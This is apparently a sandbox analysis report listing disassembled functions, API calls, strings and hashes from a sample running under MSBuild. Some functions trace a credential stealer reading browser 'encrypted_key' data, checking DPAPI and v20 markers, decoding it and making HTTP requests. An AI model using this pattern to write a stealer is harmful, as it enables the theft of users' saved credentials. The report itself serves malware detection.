Instruction ID: fc3aae081ebd12a181ae723900ccc2a24616dbb723a8fbc2ba9d46ee39cb08c7
Opcode Fuzzy Hash: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
Instruction Fuzzy Hash: 7D412631702120EBDB20AF64DC04BBA7779EB8730CF55811AE90987B01DB319C09CBEA

Function 6C55D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D918
GetCurrentThreadId.KERNEL32 ref: 6C55D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D970
GetCurrentThreadId.KERNEL32 ref: 6C55D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55DA2E
GetCurrentThreadId.KERNEL32 ref: 6C55DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C55DA91

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55DAB7

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction ID: b545ad19a02bbf578ec519d28cf7b0bc5955d7cf2502b63b2c625748f8514398
Opcode Fuzzy Hash: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction Fuzzy Hash: 6A71BF75604314DFCB00DF28CC88B9ABBF5FF89314F55856AE85A9B301EB30A944CBA5

Function 6C55D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D52A
GetCurrentThreadId.KERNEL32 ref: 6C55D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D55F
free.MOZGLUE(00000000), ref: 6C55D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55D5D3
GetCurrentThreadId.KERNEL32 ref: 6C55D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D652
GetCurrentThreadId.KERNEL32 ref: 6C55D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D6A2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction ID: 1863d3c05846b0506b50d021b8452bfaf33cd0c06c3b73141d9638ee08b656d6
Opcode Fuzzy Hash: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction Fuzzy Hash: F0518E71605705DFC700DF24CC84A9ABBB4FF8A318F419A2EE84A87711DB30A855CB95

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,013562F8), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,01355F20), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,01356190), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 6C501E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501EC1
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501EE1
EnterCriticalSection.KERNEL32(6C58E744), ref: 6C501F38
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C501F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C501F83
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FC0
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501FE2
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C502019

Strings

\Xl, xrefs: 6C501F3E
DXl, xrefs: 6C501F56
DXl, xrefs: 6C501F32
MOZ_CRASH(), xrefs: 6C502000

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DXl$DXl$MOZ_CRASH()$\Xl
API String ID: 2055633661-1828386474
Opcode ID: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction ID: 25286e3a7d0e2a3b3da2370025685892a5c9986ccf6d7ed9544a501a7dccbada
Opcode Fuzzy Hash: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction Fuzzy Hash: C841B375B023799FDF009FA8CC85B6A37B5EF4A348F050125E905D7741E7B198048BEA

Function 6C525670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5256D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5256E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5256F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C525744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5257BC
GetTickCount64.KERNEL32 ref: 6C5258CB
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5258F3
__aulldiv.LIBCMT ref: 6C525945
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5259B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C58F638,?,?,?,?), ref: 6C5259E9

Strings

MOZ_APP_RESTART, xrefs: 6C5256CC

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction ID: dcedde1fdf72fdb8f6f7de46ff2f840c65a35ca30e20e00ded9b9cf14d0d466e
Opcode Fuzzy Hash: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction Fuzzy Hash: 79C18B31A093509FD705CF28C84166AB7F1FFCA314F569B1DE8C4A7664E734A885CB82

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01354E80), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01356400,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 0041546F
ERROR, xrefs: 004154A9
ERROR, xrefs: 00415432
ERROR, xrefs: 0041530A
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 6C54EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EC8C

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54ECA1
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C54ECC5
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54ED19
CloseHandle.KERNEL32(?), ref: 6C54ED28
free.MOZGLUE(00000000), ref: 6C54ED2F
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C54EC94

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction ID: 7eba169e8f4ce33bf60225ad963a17986c07e1a38a7c26cfe9ee265eba9b24a9
Opcode Fuzzy Hash: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction Fuzzy Hash: 5621BF75602124EFDB00AF64DC08AAAB779FB8B36CF118215F81897751DB719C068BA5

Function 6C565FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C566009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C566024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QPl,?), ref: 6C566046
OutputDebugStringA.KERNEL32(?,QPl,?), ref: 6C566061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C566069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C58148E), ref: 6C566091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QPl,00000000,?), ref: 6C5660BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5660C4

Strings

QPl, xrefs: 6C565FFC, 6C566042, 6C566045, 6C5660B3

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QPl
API String ID: 3835517998-2864474455
Opcode ID: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction ID: b0a4bb654c0387622c7765bb078971a9dd522fbbd199313783f08423c78394b3
Opcode Fuzzy Hash: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction Fuzzy Hash: 2521E771A012289FDF106F25DC09A9E7BBCFF46314F018428E85AD7641DB74A948CFE5

Function 6C548ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C50EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C54B392,?,?,00000001), ref: 6C5491F4

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Strings

data, xrefs: 6C5490E8
name, xrefs: 6C548F16
stack-chart, xrefs: 6C5490B2
timeline-overview, xrefs: 6C54907A
timeline-memory, xrefs: 6C549088
marker-chart, xrefs: 6C54905E
marker-table, xrefs: 6C54906C
timeline-ipc, xrefs: 6C549096
timeline-fileio, xrefs: 6C5490A4

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction ID: c66a3347c3962881ae2cdc099ad63041a973f6c321e99bb93e33d595bd16e5ab
